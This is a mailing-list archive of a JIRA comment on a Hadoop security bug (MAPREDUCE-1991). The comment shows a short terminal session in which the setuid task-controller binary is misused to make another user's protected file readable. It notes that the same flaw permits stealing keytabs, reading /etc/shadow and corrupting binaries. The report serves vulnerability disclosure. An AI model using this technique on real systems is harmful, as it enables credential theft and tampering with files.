hadoop-mapreduce-issues mailing list archives

Site index · List index
Message view « Date » · « Thread »
Top « Date » · « Thread »
From "Todd Lipcon (JIRA)" <j...@apache.org>
Subject [jira] Commented: (MAPREDUCE-1991) taskcontroller allows stealing permissions on any local file
Date Tue, 03 Aug 2010 02:27:16 GMT

    [ https://issues.apache.org/jira/browse/MAPREDUCE-1991?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12894791#action_12894791
] 

Todd Lipcon commented on MAPREDUCE-1991:
----------------------------------------

{noformat}
[todd@monster01 hadoop]$ cat /tmp/secretfile
cat: /tmp/secretfile: Permission denied
[todd@monster01 hadoop]$ ls -l /tmp/secretfile
-rw------- 1 philip todd 3 Aug  2 19:19 /tmp/secretfile
[todd@monster01 hadoop]$ ./build/hadoop-0.20.2-CDH3b2-SNAPSHOT/bin/task-controller -l /tmp/secretfile
[todd@monster01 hadoop]$ ls -l /tmp/secretfile
-rwxrw-rw- 1 philip todd 190 Aug  2 19:19 /tmp/secretfile
[todd@monster01 hadoop]$ cat /tmp/secretfile 
hi
Invalid configuration provided
mapreduce.tasktracker.group is not configured.
Group of the binary does not match with that in configuration
Invalid permissions on task-controller binary.
[todd@monster01 hadoop]$ 
{noformat}

This allows a malicious user to steal a local keytab, read /etc/shadow, corrupt binaries by
appending junk, etc.

> taskcontroller allows stealing permissions on any local file
> ------------------------------------------------------------
>
>                 Key: MAPREDUCE-1991
>                 URL: https://issues.apache.org/jira/browse/MAPREDUCE-1991
>             Project: Hadoop Map/Reduce
>          Issue Type: Bug
>          Components: task-controller
>    Affects Versions: 0.21.0, 0.22.0
>            Reporter: Todd Lipcon
>            Priority: Blocker
>
> The linux task-controller setuid binary allows a malicious user to chmod any file on
the system to 644 (and as a side effect appends some junk to the end)

-- 
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.


Mime
View raw message